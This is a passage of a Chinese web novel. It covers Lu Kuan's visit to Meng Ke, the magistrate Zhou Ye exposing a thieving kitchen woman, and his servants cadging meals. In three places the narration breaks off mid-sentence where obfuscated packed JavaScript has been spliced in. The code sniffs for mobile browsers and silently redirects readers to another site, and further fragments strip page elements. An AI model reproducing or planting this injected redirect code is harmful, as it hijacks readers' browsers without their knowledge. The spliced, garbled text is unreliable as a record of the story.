“还比如，有些特别的法子，可以去掉一些看似去不掉的标记。还比如，有种叫整骨的法子，可以调整、改变人的面貌。还比如，世间有些人，像舞台上的伶人一般，扮什么像什么，以其高妙的妆扮之法，气质乃至个性的改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当一个安享富贵、游历人间的贵公子，同在一方水土当个理实政、见万民之官，可真不一样啊。 公子和小姐走在前面，四个仆从都有意拉开了些距离。 侍剑不时偷偷去看回雪，破天荒地学着洗墨，见她拿了什么，便赶紧上去抢过来拎。可回雪对他的诸般小意殷勤，都只礼貌而疏远。侍剑忍不住提起话头，她也不愿多说。逛了半天下来，侍剑是更糊涂了。 几人一路逛，周冶也一路跟着买。 一律三份，一份分赏给衙门里的人，一份自己留用，自然，见者有份——熹园也有一份。 借着送东西过去的由头，他顺道送孟珂回去，也顺道看看郑刘二人。 刚转进熹园所在的巷子，就见前面有一队人马，像长途而来，还像奔着熹园而去。 周冶去看孟珂，见她也觉意外。 他们到了熹园门口，正好见车帘一掀，钻出一个白衣公子来。 这人姿态昂然，举手投足间尽显傲娇，像只头顶冠羽的长尾白孔雀，抬手一拂那如丝似缎的秀发。 不待他完全抬起脸来，周冶就知道了——此人不是别人，正是卢府二公子，卢宽。 *** “二哥哥！” 孟珂不由喜出望外，紧走几步上前。 卢宽闻声看过来，喜道：“阿珂！” 他忙跳下车来，紧跑几步到孟珂面前站定了。 “二哥哥，你怎么来了？”孟珂道，“你来也不先送个信，知会我一声，我要是不在呢？” “这大过年的，你还想上哪去？”卢宽一边上下打量着她，一边道，“你这一离了府，就跟那鸟儿一样，飞得影都没了。飞就罢了，大过年的，好歹也回去过个年？可左等右瞧，人不见，连准信也没一个。我只好来看看，替祖母教训教训你，再将你押送回京了。” 孟珂自是不信什么押送回京的话，只笑问：“哥哥既来了，给我带了什么好东西？” 卢宽看着她笑：“你想要什么好东西？” “这兄妹俩……”洗墨歪着头，斜眼看着那二人道，“不知道的，还以为在唱鹊桥会呢。” 侍剑看看那二人，又看看公子，迟疑道：“公子，人家这兄妹久别相聚的，咱们……走？” “走什么？” 周冶道，“你们不嫌冷清吗？这好不容易来个京中贵客，我这地方官，不得尽尽地主之谊呀。” 说着，便提步上前。 卢宽余光瞥见有人走过来，不悦地分神瞄了一眼，心道，到底是哪个不长眼的，看不见本公子和阿珂说话呢，瞎掺和什么，可就这一眼，顿时惊道：“那不是……周家大公子？” 36. 一许 卢宽和周冶二人，不算熟，但京中宴饮往来，也照过数面。 对了，此人是跟阿珂一起回来！他看向周冶，后知后觉地冒出一肚子问题。 孟珂道：“二哥哥还不知道吧，这位周大公子，正是这绥陵的父母官。” 卢宽“哦”了一声，少不得也要做做面子，自以为收起了脸上的不悦，冲周冶傲娇地一点头。 周冶见状，心下好笑，也只冲他点了点头。 “原来是周大人！” “不敢，不敢。”周冶道，“一许兄，还是叫我小字便是。” 听周冶突然这么说话，孟珂不由看了他一眼。 哥哥也许不知道，但她可清楚，周冶这人表面上可做得圆滑之至，自谦、自损、自贬的话都能说。可他本就是个傲气的贵公子，也极自信，即便给点做小伏低之态，也让人分明知道，他只是纡尊降贵，做做样子、表面客气而已。 但卢宽不是个寻常人，他眼里，别人就是小，就是低，根本没品出来周冶的意思。 看周冶身边的小厮大包小包的，他道：“元亨，你这大包小包的……” 周冶道：“街上偶遇令妹，前几日又蒙小姐帮忙，就顺便买了些节礼。” 只是这样？卢宽看孟珂一脸泰然，也没同他客气，便也不多言语，只是少不得端起兄长之尊，发话将周冶延请入府。 他嘴上同周冶客套着，但眼里、心里都只有自家阿珂，见缝插针地吩咐回雪：“去将我带的东西收好了，先拣小姐最爱的做几样上来。” 又回头对孟珂道，“我既来了，京中你寻常爱吃的，自是少不得了的，我还带了些各处搜罗的开胃吃食，还有新的安神、调养的方子，并各种进补之物……” “又灌药呢。” 孟珂道，“我这都要让你灌成药人了！再这样下去，只怕身上流的不是血，倒是药了。” “管它流的是什么，你好好儿的，比什么都强。” 她虽在自己面前做出一副挺精神的样子，但显然有思虑过多之色。 卢宽早知劝解无用，只上下打量着她道：“当日你走也不跟我说一声，连吃的用的都未带周全，我料着就没好生吃饭。瞧着，又清减了好些。” 他抬手放在她肩头，细细薄薄的，一掌就握住了：“冬日天寒，怎么抵得住。” 说着，想起什么，高声叫道，“青汝！” 他的小厮青汝小跑上前，捧着件雪白的貂裘。 卢宽抖搂开来，替孟珂披上，又上上下下端详了一遍，才笑了笑，转身继续往里走去。 孟珂瞧着他的身影，眼中只觉微微发胀。 卢宽见她没跟上来，驻足回望，孟珂已含笑跟了上去。 *** 回到县衙，洗墨只觉自家公子这夜莫名的心浮气躁。 他跟那卢二公子似乎不太对付，话也不怎么投机，也不知是不是打了什么他也看不懂的机锋，人回来半天了，还在那儿气闷。 见洗墨瞅着他转，周冶没好气地道：“在这转什么呢？转得人心烦！” 洗墨陪着小心退开，又被他叫住了。 “等等！去……拿点酒来。” 洗墨瞧了一眼外面，暮色已合，北风呼啸，还飘起雪来：“这天寒地冻的……” 嘀咕了半句，又喜道，“有了！我这就去取。” 他想起公子那日犒劳兄弟们，酒肉都剩了不少，少说十来坛没开封呢，还是临江楼送来的好酒。 结果，没一会儿，他却两手空空地回来了。 周冶见他还气呼呼的，问道：“怎么了这是？” “酒没拿到，还吵了一架！”洗墨一屁股坐下，骂道，“那黑心脏肺、穿肠烂肚的！” “到底怎么回事？” 洗墨一拍桌子道：“我去要酒，那厨房掌事的黄家婆子非说没有。” “那日，公子特意嘱咐了酒肉管够。我就怕大家不尽兴，白费公子一番心意，从头到尾都用心照顾着。到人散的时候，我看还有十来坛没开封，就摆在厨房墙根儿底下。” “结果，方才去问，那黄婆子说，是我看错了。说什么，前几日墙根儿底下是摆了一排坛子，但都是买来做腌菜的空坛，这几日做了腌菜，就挪走了。” “我把厨房、菜窖都翻了个个儿，愣是一坛酒没找到。倒是有几坛腌菜，但那腌菜坛子，跟酒坛子分明就不一样，数也对不上！” “还有啊，那日多备的活鸡活鸭也全没了，可这两日哪里有吃鸡鸭？我看啊，整个衙门让她搬空了，她也能腆着老脸说，是我看错了，这儿压根就没有过什么衙门！要不看她是个婆子，我……敢欺负到你墨大爷头上！” 洗墨攥起拳头，又放下，可越想越气，一掌拍在桌上，将杯里的水溅了一桌：“气死我了！” 也不知是谁的水，他端起来就一仰脖子倒下， 周冶抬手要拦，已经来不及了。 洗墨一口喷出，随即咳呛了起来：“这……这什么啊？” 周冶道：“那是……我方才看有幅画漏矾了，叫涤砚拿来补矾的矾水。” 洗墨闻之色变，忙冲到廊下，又呕又吐，半晌才扶着门进来：“公子，我……我不会被这什么矾水给毒死吧！” 说着，又满屋子找水漱口。 侍剑抱手坐在窗棂上，冷冷地道：“你不是气死了，换毒死，也没差。” 周冶和涤砚都忍不住笑了。 洗墨的脸更黑了，一脸郁愤，又一脸交友不慎，生无可恋之态。 周冶冲他一勾手指：“我让你今日出了这个气。” 洗墨将信将疑地挪过去，听周冶附耳嘱咐了一番，高高兴兴地拉上涤砚，出去了。 *** 到了厨房，涤砚叫来那黄婆子，说道：“洗墨刚才来厨房，说了些浑话，回去已经被大人训斥了。大人知道你受了委屈，说他性子急，又口无遮拦。你是上了年纪的人了，不要跟这些小孩子计较才是。” 黄婆子忙不迭地道：“不敢不敢，大人言重了。” “大人还说了，以后但凡要添酒菜，所费多少，你照数说就是，不必在月费里腾挪。这里多了，那里便少了，倒委屈了衙门里的兄弟们。断不能为难了你们下头人。你只要尽心把差事办好，有你们的好！” 说着，又拿出一锭银子，“这些，是今晚的酒菜钱，多的就当补补之前的亏空，也一并赏你了。快去置办了来，大人等着呢。” 那黄婆子得了银子，谢了又谢，忙不迭地去办了。 书房里，见洗墨二人出去了，侍剑晃到周冶面前，几次欲言又止：“公子……” 周冶头皮发麻：“你们今夜商量好的还是怎么，洗墨不晃了，又换你来了。” 侍剑转身要走开。 周冶又道：“说！” “公子，你说……”侍剑笑着转回身来，“你说这回雪姑娘，到底有没有生气，我是不是……该不该……赔个罪？” 周冶一下让他逗笑了，也瞬间来了精神。 只见侍剑难得地皱着眉，思虑了起来：“这孟小姐和那个回雪姑娘吧，看着挺厉害，其实还是两个弱女子而已。看看那夜的黑衣人都什么人？何必玩命呢？什么复仇，这么凶险的事，哪里是她们……” 他的分析，实在没什么可听的。周冶打断道：“你这就替人担心上了？那你担心的，到底是人小姐呢，还是回雪姑娘呢？” 侍剑嗤笑一声：“我……我担心什么！只是看她们两个弱女子，挺不容易的。” 周冶笑了，半晌，才道：“她是个弱女子没错，可我看啊，大多男儿都不如她。” 说着，睨了侍剑一眼，“她的心思之深，连我都看不透。她的厉害之处，连我都没完全知道。你又知道什么了？” *** 夜阑人静之际，忽有一道箫声破空而出。 烟雨斋内，一人坐在窗口，发髻放了下来，松松地拢在脑后，手执一柄洞箫，对夜而吹，其声呜然。 回雪给小姐掖好被子，看了一眼窗口，长舒了一口气道：“有二公子在，我可算能偷几日懒了。” 孟珂嗔了她一眼，也望向了窗口的身影。 她始终记得，他第一次跑到她面前，说“我给你吹支曲子”的样子。 初到卢府之时，她好长时间里都日日枯坐窗前，不言不语，无笑无泪，食不下咽，寝不安眠。 说起来没什么大病，可又哪里都不对，按下葫芦又浮起瓢。 冬去春来，多少药吃下去，还是没大起色。大夫都摇头，说大悲大恸之人，郁结于心，只要心思不开，汤药便也无用。 卢宽那时就已经是个目下无尘，谁都看不入眼的臭屁少年。放眼京中子弟，都不是什么东西。普天之下，也就他自己还勉强算个人物。 孟珂每每想起来也觉得好笑，就他这样的性子，偏巴巴儿地往她跟前凑。 他比她大两三岁，不时跑来瞧她，开始并不说话——他生性傲娇，她也不搭理人。 有一回，远远地见他又来了，手中多了一柄箫。 他一屁股在她对面坐下，也靠着窗，自顾自道：“我给你吹支曲子。” 说完，也不管她应不应，就吹了起来。 孟珂心下也奇，这人也真好笑，谁叫你来了，谁让你吹了，谁又告诉你，你吹得好了？但她懒得开口。 就这样，两个小小少年，一人靠着一侧窗棂，一内一外地坐着。 听着听着，孟珂面色微动。 她以前从来没注意过，箫声竟如呜咽，如泣，亦如诉；仿佛有只水做的手，在她胸中轻揉慢拧，千回百转，缭绕勾缠，盘旋不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999133|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 “这谁在吹啊？” 卢家祖母派来照料孟珂的顾嬷嬷从里间出来，“吹什么不好，偏偏吹这，听着就让人揪心……” 她就要出去，却被回雪拉住了，朝小姐努了努嘴。 顾嬷嬷一看，只见小姐那张依旧木然的脸上，竟滚下泪来，一颗，又一颗…… 顾嬷嬷与回雪相视一眼，不由又都笑了——能哭出来，便好了。 不过，顾嬷嬷心道，这孩子，怎么只是无声落泪呢？一点儿声息也没有。 一曲未毕，孟珂已经披衣起来，在卢宽对面，靠着窗棂坐了下来。 箫声顿止。 他看她披好了貂裘，还是道：“起来做什么？大冷的天，不床上捂着。” 孟珂歪头看着他笑，又撒娇道：“好久没见二哥哥，想跟你说说话。怎么，不想听？” 说着，便作势起身要走。 卢宽心中别提多熨贴了，忙伸手拉她坐下，又给她掖了掖衣服，柔声道：“等你睡好了，咱们明日再说也使得。” 孟珂道：“我这还没到睡觉的时候呢。” 卢宽给她气笑了：“这都子时过半了！还没到时候，你准备多早晚才睡呢？大夫都说了，你身上的诸般不好，都是多思少眠之故。天长日久，伤了根基。” 顿了顿，才道，“长此以往，便是大罗神仙也难救。” 孟珂无所谓：“大夫嘛，难免都作惊人之语。还天长日久、长此以往呢，我是能千年万年，活成乌龟王八不成。不妨事的。” 卢宽哭笑不得：“你总有话说。” *** 既不睡了，他少不得要将这段日子的诸般事宜都一一问过。她此番回绥陵，他虽着人严密看护，时时奏报，可一直悬着个心。 “你来的一路并不太平，如今可清静了？” “自然来试探过几回。但他们在路上都得不了手，到了我的地方，哪有那么好闯的？如此几回，慢慢也就歇了。” 卢宽点头：“在自己的地方倒无大碍，只是要防着些宅子里的门道，你素来细心，倒不用我多说。但你出门，却得当心。” 孟珂看了他一眼，莫非刺杀之事，他已经知道了？不想也知道，她身边一定有府里安插的人手，这事怕是瞒不过他去，于是笑道，“是，也就前几日诱他们出过一次手。若非如此，自是防备周全的。” “伤着哪儿了？” “就脚踝旧伤，你知道的，一个不小心就又扭了下。” “我看看。” 他抬手将她右脚抬起来，放在自己腿上，脱去鞋袜看，消肿了，脚踝那块还是股着个包。他对着双手呵了呵气，搓了搓，暖了，才替她细细揉了起来。 这活是他熟惯的。 孟珂笑着，眼睛却微微润了。 她是投奔去卢府的路上，扭伤了脚，可那时候心如死灰，哪里去管那么多，貌似好了，能走就是了。 她没说，丫鬟嬷嬷们也都不知道。还是卢宽一次见她又扭到了，这才知道了。 他找了圣手来看，可因为头一次伤到的时候没养好，且耽搁的时间太长，落下了病根，只要受力稍有不对，便容易扭到，只能用药加按摩梳理经脉，慢慢将养，能恢复几成是几成。 卢宽知道她不会上心，也不放心交给下人，自己向大夫学了手法，每日陪着她的时候，想起来就捉着她按，一日倒不知要按上几回。 她那时很有些自弃的念头，也得亏是他那般行事，她懒得与他纠缠，便随了他去。让他那般盯着，倒是养好了不少。 “知道这事瞒不过我，才说。”卢宽一边手法娴熟地揉着，一边抬眼看她，“别处，打量我不能看，就不说了。” “哎呀，没有。”孟珂笑着曲了另一只膝头，把头靠了上去，悄悄将眼泪逼了回去。 半晌，她微微抬起头来，看着卢宽，心中一片柔软。 得亏是那个少年，得亏他一次次跑来她身边坐下，自顾自地说话。 “我又学了一支新曲。” “我又找到了好吃的。” “花开了，我带你去看花。” “下雪了，我们玩雪去。” …… 他一曲又一曲箫声，换来了她的落泪，让她慢慢开口说话。 他一餐又一餐精心准备的饭食，填起她空掉的身躯，让她重新找回行走的力气。 他夜以继日的哄睡陪伴，换她重新攒起精神，从行尸走肉中活了回来…… 是他，用那颗最最澄澈的少年心，将那个破碎的她，一点一点，重又粘了起来。 如果说，那是她此生的至暗之时，卢一许，便是她至暗之中，唯一的光亮。 在她孑然一身，无可依恃之时，他告诉她：“就算这世上所有人都离你而去，我也会站在你身边。” 37. 厨娘 孟珂埋头在膝上，不动声色地擦眼角的时候，卢宽就看见了。 她很少哭，跟其他姑娘小姐比起来，简直算不哭了。可即便是到了情难自抑的时刻，她也总是这样无声无息落泪，也是控制的、压抑的，从不曾放声。这样的她，愈发让他心疼。 孟珂一抬头，见卢宽正看着她。 卢宽随即“呀”了一声，抬起手来，去端起她的下巴看：“眼睛怎么有点红了，想哭来骗我了？” 说着，捏起衣袖，装模作样地，要去替她擦拭那已经被偷偷沾去的泪痕，“要让祖母看见，可又要训我了。” 孟珂“啪”一声打在他手上，红着眼笑道：“你这袖子干不干净，想擦花我的脸，好取笑是不是？” “取笑？”卢宽道，“就算花了脸又如何，有什么可取笑？我们阿珂一颦一笑，一喜一泪，都美。” 孟珂挥着手笑：“行了行了！你还是埋汰人最在行。一夸人，跟吃错药似的，我都瘆得慌。” “可不是吃错药了吗。”卢宽嘀咕着叹道。 “你说什么？” “没什么。” 卢宽揉完了脚，又给她捂暖了，才重替她穿上鞋袜，又将她的手拉过来，举起来哈了一口气，继续给她搓着取暖。 孟珂笑着抽出手来：“你才刚揉了脚，又来搓手。” “我都不嫌弃，你还嫌弃你自己？”卢宽抗议道，“什么人啊！” “我这样的人！”孟珂笑着，拉起他的手臂，深深地看了一回，半晌未语。 卢宽正要说话，见她坐近了点，拉着他的手臂，顺势靠上了他肩头。 靠着靠着，她的眼泪又汩汩往外冒，一层层浸入他的衣襟。 卢宽抬眼看着层云墨染的夜空，徐徐地吐出一口气来。 很多话，她不愿说。 他也只能这么陪着，由着她默默流泪而已。 *** 过了半晌，卢宽道：“你不会不知道，若事事都要先拿到实证，不错怪一个人，不错怪半件事，是一件几乎不能实现的事。这世间有太多事，都找不到确凿证据。何况，你家的事，已经过去那么多年了。这样，还怎么找公道？还怎么报仇？” “就连对霍茹蕙，你也要先确认再动手。这样怎么不殚精竭虑？” 霍茹蕙防得非常严实，身边除了一个孙嬷嬷，什么人都不信。她安插了人，可即便走到她近旁，也了解不到太多。毕竟，她要在陈家，瞒过梁婉章的亲人，还要在这出生长大的地方，瞒过所有故人。 查不到，便只有她自己来试。 孟珂仍靠在他肩头：“确认她不无辜，不是为了她，而是为了我自己。这条路我虽决定走了，但也想每一步都走得踏实。况且，避免误伤无辜，避免自己行差踏错，也只是其一。” “对他们出手容易，揪出背后的人，却需要筹谋。曾怀义上头的人是谁，什么路数，什么手段，总要先看看。了解敌情，才能料敌于先，制敌于前。鱼死网破、拼死一闹自然容易，但要保全自己，还得用心思。莫说我了，连霍茹蕙这样心狠手黑的人，对我这个卢府小姐尚且有所顾忌呢。如今看着，步子好像太慢，却是磨刀不误砍柴工。我都等了这些年了，临到事头，又有什么好急的？” “道理是这个道理。但是，我却宁愿你是个任性自专，肆意妄为的人。” 卢宽摸了摸她的头，柔声道，“如此，你便不必这般自苦了。” *** 县衙厨房里，一盏豆大的油灯下，发出阵阵窸窸窣窣的响动。 两个人影在黑暗中翻捡着什么。不多时，一个人将两个口袋扎在一起，往肩上一甩，一前一后搭在肩上。另一人影块头小些，也扛了一大袋。 油灯随即吹灭，两人一前一后摸黑出来，朝侧门方向去，可刚走到院中，周围突然灯火大亮。 两人一看，院子已经让官差围了。 院中摆着一张椅子，上面半躺半坐着一人，不是县令大人是谁。 “人赃俱获！你可还有话说？” 说话的正是洗墨。 那两人身子一歪，卸下口袋，跪倒在地。 那男人道：“大人饶命，大人饶命！” 女人却道：“误会！大人，这是……误会！都是误会啊！” “误会？”洗墨都气笑了，“我们这么多双眼睛看着，还误会你了！都拿了现行，你还敢狡辩！” 那黄婆子可怜兮兮地看着洗墨：“洗墨小哥，都怪我，今日说了几句实话，让您心里不自在了。早知如此，我就自己再贴补些又何妨？便是把工钱都贴上，也少不得把您要的酒菜买来。横竖，就当是替衙门白干活了。” “嘿——”洗墨一撸袖子，这就要冲上去：“你还反赖上我了？” “洗墨！”周冶一声喝道，“退下！” 洗墨愤愤地一甩手，退下了。 周冶坐直了起来，看着黄婆子和那男人，笑道：“你倒说说，是什么误会？” *** “大人明鉴！这确实是误会。” 黄婆子扫了一眼地上的三大口袋，“小人……小人怎敢拿衙门的一葱一蒜？” 她边想边道：“这些东西……是小人自己花钱买的。只是替衙门采买的时候，搭着买了，让店家一并送了来。” “小人这么做......一则，给家里省些事。婆母年纪大了，男人又哪会买东西，价钱少不得高了低了，东西买得不好了。我掌管厨房，最知道这一进一出之间，一年可省下不少钱。咱们这穷人家过日子，哪能不一文钱掰成两瓣花呢。我就想着，搭着县衙的一起买了。” “二则，也是小人的一点私心。搭着衙门的东西一并买，量大，价格上自然能多让一点；东西嘛，自然也都是拣好的送了来。商户们总不敢让衙门吃亏不是。” “这么说，还真是误会你了？”周冶道。 “可不是误会吗！就是给小人十个胆子，也不敢欺瞒大人啊。” 黄婆子道，“怪只怪，我面浅，不好意思让人知道。怕厨房其他人知道了，都来求我行这个方便，那便没完没了了。这才让我男人，乘夜里没人的时候来帮着搬回家。这不就……闹出这天大的误会了么。” 周冶看着地上那三大口袋，笑道：“那……这厨房里，可还有你家的东西？” 黄婆子迟疑了一下，看着周冶的脸色，试探道：“还……还剩了些。” 洗墨一听，鼻子里恨不能喷出火来，却听公子道，“既如此，今夜就一并都搬回去吧。” 说着，一抬手，“来两个人，帮帮她。” 洗墨急道：“公子！” 那黄婆子一时也愣了愣。 她知道这位公子县令是个大家公子，必定不懂庶务，但也没想到这么好糊弄，不由心中窃喜，忙去扯跪在一旁的男人：“哪敢劳烦大伙，我们自己来。” 两人正爬起来，就听一声厉喝。 “跪下！” 周冶厉声道，“谁让你们起来了？” 那黄婆子扑通一声又跪下，不知他这是何意。 “说说，‘你家的东西’还有哪些，都在何处，我着人替你取来。” “公子，她的话怎么能信……” 洗墨又要往前冲，让涤砚伸手拉住了：“你看着就是了，公子自有打算。” 那婆子七上八下的，若说没东西了，岂不是自认撒谎，只好随便说了几样重的，不值钱的。 见东西搬了出来，便小心赔笑道，“不敢劳烦兄弟们，我们咬咬牙，也搬得动。” “行，那你们就自己搬回去吧！” 周冶站了起来，一副完事的语气，吩咐道：“天也不早了，大伙儿都回去歇着吧。” 这就过关了？黄婆子心中正疑惑着，试探着爬起来，就听大人又补了一句。 “明日你就不用来了。” 黄婆子身子一僵，去看周冶。 周冶朝二人走去：“从此，你夫妻二人，未经许可，不准再入县衙一步。踏入一步，就按监守自盗论处，量刑加重两等，当判......绞刑！” 说着，从怀中掏出一本账册，在那婆子眼前晃了晃，“到那时，可不管你有没有再拿过衙门一葱一蒜。” *** 人都散了，主仆几人步入内宅。 涤砚才道：“我见过那婆子的男人。去找池老板那日，我见他在厨房吃完饭出来，只当是衙门的杂役，就叫他替我传句话。谁知他竟不是衙门的人，难怪不敢去通传。” 洗墨哼了一声：“你见过他一回，说明长年累月都来了。还自家买菜呢，我看她一家子都吃衙门的、喝衙门的。再说了，她家几口人，能吃得了这许多？既是穷人家，不勒紧裤腰带，还天天鸡鸭鱼肉、精米白面的？这些能搬走的，都是拿去卖的。还不知她打着衙门的招牌，吃了商户多少好处呢。” 涤砚道：“都说‘厨子不偷，五谷不收’，可这婆子也太心凶了些。但凡她不那么急，多等几日，待大家忘了那些酒菜再搬。或是多少留两坛应付人，都不至于有今日这一遭。” 洗墨嗤笑道：“怎么，你倒替她可惜上了？料是看公子好说话，出手也大方，说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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本来布置这一番的时候，还饶有兴致，可真闹起来了，又觉得无趣得很。这样的事，哪里不是呢？衙门如此，家宅如此，朝堂也如此。在哪都要这样斗，跟谁都要斗，事事都要斗......人生，若就消耗于这样无时无处不在、无时无刻不休的争斗，也实在无趣得紧！ *** 洗墨骂骂咧咧了半夜，第二日，到了吃饭的时间，又傻眼了：“公子，你撵黄婆子一个不够，还把厨房的人全撵完了，咱们吃什么啊？” 周冶白了他一眼：“不撵完，你知道谁是那黄婆子的人？给你吃食里下点东西，毒不死你？” “那现在怎么办？”洗墨道，“绥陵可比不得京城，一过年，商户都关了。” 涤砚道：“不还有咱们几个吗，等年后再找人接手就是。” 洗墨惊道：“咱们几个？我可不会。是你会，还是侍剑会啊？” 涤砚一脸的不以为然：“这有何难？学就是了。” 没多久，他就顶着一脸油烫的红印，对着灶下一脸黑灰的洗墨道：“这……大概是需要点时日学的。” 对着一桌带着黑渣的菜，周冶看了半天也不知从何下箸，放下筷子：“草率了！该过完年再撵的。” 转而对洗墨怒道，“都怪你个急猴子，等不及了非要发作。” 洗墨委屈道：“这怎么还怪上我了！主意不是公子您自己拿的吗？小的不过听命行事。” 说着，不信邪地吃了两口，忙又吐了出来，“好苦！” 只有侍剑一脸没事，一筷接一筷地吃了下去。 三人不由都看着他，三脸敬意。 侍剑扫了他们一圈，“行走江湖，不就有什么吃什么。” 周冶下了桌，一手拎壶，一手端茶，有一口没一口地喝：“这绥陵的酒楼食肆，什么时候才开门？十五之后？总不会……要等出了正月吧？” 洗墨也下了桌，在他旁边坐下，托腮呆了半晌，扭头看了一圈：“要不……谁去娶个媳妇回来？” 涤砚一口茶喷了出来。 “娶媳妇是给你当厨子的？”涤砚指着他，大摇其头，一脸儒子不可教的模样。 侍剑仍在吃着，一副“不管是为什么，我倒是不介意，谁去帮我张罗张罗”的样子。 洗墨看看侍剑，回了他一脸“你没戏”的样子，又看向周冶，嘿嘿笑了两声。 “公子，要不，你去给我们……找个少夫人？” 这回轮到侍剑笑了：“少夫人能给你做饭？” “少夫人自然不能。” 洗墨道，“可少夫人身边的丫鬟婆子能啊，总比咱们几个强。” 周冶一听，突然乐了。 洗墨抬脸看他：“公子，你同意了？” “这少夫人嘛，一时没有。不过，这饭嘛，倒是有了。” 周冶拍了拍他肩膀，笑道，“走，咱们吃饭去！” 38. 酒楼 周冶半仰躺在船上，看着越来越近的“熹园酒楼”，伸手捞起一朵浮萍，轻轻朝它扔了出去。只一瞬的功夫，湖水已经凉刺骨髓。他看了看湿漉漉的手指，心内不由叹道，能在这样的水里游的，可真不是一般人哪！ 侍剑坐在船头，划着桨道：“公子，人小姐凭什么让咱们蹭饭？” “凭我的救命之恩。” 周冶竖起那没来得及干的手指，“三次！三次救命之恩呢。人都说，这救命之恩，无以为报……” “唯有以身相许？”洗墨接过话，嗤笑一声，在船尾有气无力地划着，“人小姐可一次都没说过。” “嘿——你这......”周冶还没来得及发作，第二个拆台的又来了。 侍剑直眉楞眼地道：“哪来的三回？一回是你坏了人家小姐的事，一回是你被人小姐给算计了，还有一回......那回就算你不来救，我总觉得，人还有招。就算有那么一回吧！可您这挟恩求报……” 大丈夫拔刀相助、行侠仗义、扶助弱小……不都是分所应当吗？侍剑难得地看了看公子的脸色，还是忍不住，嗫嚅道，“你这挟恩求饭吧，不太……体面。” “你们这一个个的......”还船头船尾两相唱和上了！周冶气得坐直了，挺起胸道，“就不说这恩，那她还欠我二十多两银子呢。咱们四个人，就是吃上一个月的饭，是不是也够够的了？” 见公子急了，那两人好歹没继续拆了——台也已经拆得差不多了。 周冶气得一时忘了，抬手又往水面的浮萍捞去，下手太重，激起的湖水飞溅了自己一脸，不由“嘶”一声，龇牙咧嘴起来——冷到牙疼。 侍剑扫了一眼这连篷都没一个的小破船，皱眉道：“咱们去就去吧，为何要划船去？还要乔装上这……打渔载客的船家衣服？” “让全绥陵的人都看着，县令大人天天去蹭饭？” 洗墨笑着看了公子一眼，先肯定了此举的合理性和正当性，“虽说是应当的，但是不太……好看吧。再说了，人毕竟是未出阁的小姐，传出去……咱们公子怕不得上门提亲了？” 侍剑不满地瞥了洗墨一眼，早就忍不住了：“你还是别说话了，有那接话的力气，还是省下来划船吧。看看你那桨，练的打水漂，还是水上飞呢？” “你有劲儿？那你一人划！”洗墨将手中的浆一惯，赌气不动了，“到现在都还没吃上饭，能有劲儿吗？你有本事，叫涤砚划，就会找我的茬！” 这后半句冲着端坐在公子身旁的涤砚去了，隐隐还捎带上了周冶。 涤砚向来是八风不动。周冶斜了他一眼，朝涤砚抬了抬下巴，笑道：“涤砚去划，也不是不可以。那他手里的公文，你来看？” 洗墨被噎了一下，无话可说，只好悻悻地捡起桨来继续。 下人来报，周大人来访的时候，孟珂和卢宽正在园子里闲逛。 “这人怎么又来了？” 卢宽奇怪地看向孟珂，一脸“你们很熟吗”的样子，可见她也一脸疑惑，起身走到水榭边去看。 只见湖边停着一叶扁舟。船头站着个船夫，抬起脸来，却是侍剑。船尾无力地半躺着的，是洗墨。 一个客人打扮的，正是周冶。 连那个不大爱说话、也不爱出门的小厮，叫涤砚的，也来了。 什么事，劳动这主仆四人来齐了？ 待他们主仆几人进了园，两相见过礼。周冶自己道：“那对郑氏和刘宝下手的人，已经查明了。我想着，你可能会想知道，赶紧来告诉你一声。” 侍剑听了犯嘀咕道：“我们不是来吃……” 涤砚忙扯他袖子，洗墨上手准备要捂嘴了，却被侍剑那比脑子快得多的手，给制住了。但他好歹没继续说下去。 就这事，有必要带这么多人？孟珂见几个仆从这番动静：“他们闹什么呢？” “没什么！”周冶笑道，“他们三个……没事就喜欢打打闹闹。” 说着，忙转移话题，“你猜，这人犯是谁？” 他卖起了关子，孟珂却不着急问。周冶只好自己道：“是个狱卒的老父，叫老袁头的。这老袁头也在绥陵县衙当了一辈子狱卒。现如今牢里这些，全都是他小辈。” 狱卒难免不做些投毒下药，替人灭口的事，孟珂并不意外，随口问道：“是个惯手？” “还真不是！”周冶一副“你说到重点了”的样子，“这袁家父子出了名的老实厚道，在牢里两代人了，从不沾染那些——日子嘛，因此也过得清贫。” “这绥陵父老都知道，贫苦人家进了大牢，求其他人行什么方便，银子不塞够是不可能的。但求他父子，却还有点希望，但凡情有可原的，不过分的要求，都能通融通融。关键是，还不用花大钱——左不过买些酒肉，让同僚行个方便，他们自己从不居中得利。” 孟珂笑了：“这次的事，能使唤动这个老袁头......有点意思了。” “你道是为何？这袁家近日出了点事。” 周冶道，“还记得那高升的儿子高仲么。他此前打的人，正是这袁家的孙子。” 孟珂恍然：“那还真是造孽。” 周冶道：“捋到这老袁头的时候，就发现有人在袁家附近盯着。我没打草惊蛇，只在他给儿子送饭的时候，叫去问了话。这老袁头一问就招了，但对背后之人，却是死不开口。” 又补了一句，“问完，仍放他回去了，放长线。” “大人好谋略。”孟珂顿了顿，才道，“那大人此来，可是......需要我效什么劳？” 周冶原只是随口找个事由，瞎掰扯几句，给她说说进展，倒真没想过要让她做什么。不过，她既然自己提了起来，他也就顺嘴说了下去。 “我想着......小姐一向足智多谋，也许......能想到办法撬开他的口？”他一边想一边编，“毕竟，那老袁头年纪大了，受不住刑，拿儿孙去逼，也非君子所为不是……” 孟珂也不戳破，只笑道：“大人谬赞了。不过，既然承蒙大人看得起，少不得同大人议一议，可能谁会想到什么法子也说不定。” 